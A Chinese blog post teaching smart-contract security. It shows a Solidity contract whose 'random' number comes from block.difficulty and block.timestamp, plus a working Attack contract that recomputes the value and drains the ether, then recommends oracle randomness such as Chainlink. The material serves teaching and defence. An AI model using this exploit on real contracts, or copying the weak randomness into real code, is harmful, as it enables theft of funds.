合约安全

合约安全:随机数破解

2022-12-04  本文已影响0人  梁帆

一、漏洞

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

contract GuessTheRandomNumber {
    constructor() payable {}

    function guess(uint _guess) public {
        uint answer = uint(
            keccak256(abi.encodePacked(block.difficulty, block.timestamp))
        );

        if (_guess == answer) {
            (bool sent, ) = msg.sender.call{value: 1 ether}("");
            require(sent, "Failed to send Ether");
        }
    }
}

contract Attack {
    receive() external payable {}

    function attack(GuessTheRandomNumber guessTheRandomNumber) public {
        uint answer = uint(
            keccak256(abi.encodePacked(block.difficulty, block.timestamp))
        );

        guessTheRandomNumber.guess(answer);
    }

    // Helper function to check balance
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

这个猜数的合约很简单,即你猜对了数就给你1 ether,这个随机数生成种子采用的是block.difficulty, block.timestamp

攻击合约知道随机生成的规则,用了相同的随机数种子——因为都是链上公有的数据,先算出来再调用猜数合约,这样就很容易把合约里的以太都赢过来。

二、预防手段

不用使用block.difficultyblock.timestamp等公用的区块参数作为随机数的种子,这样会很容易被破解。

一般来说,如果你需要用随机数,而且这个随机数要用在非常重要的涉及核心逻辑的场景时,就可以选择从预言机中拿到随机数值,比如chainlink,就提供了随机数。官方文档中有《Get a Random Number》一节,可以点击查看。

上一篇 下一篇

猜你喜欢

热点阅读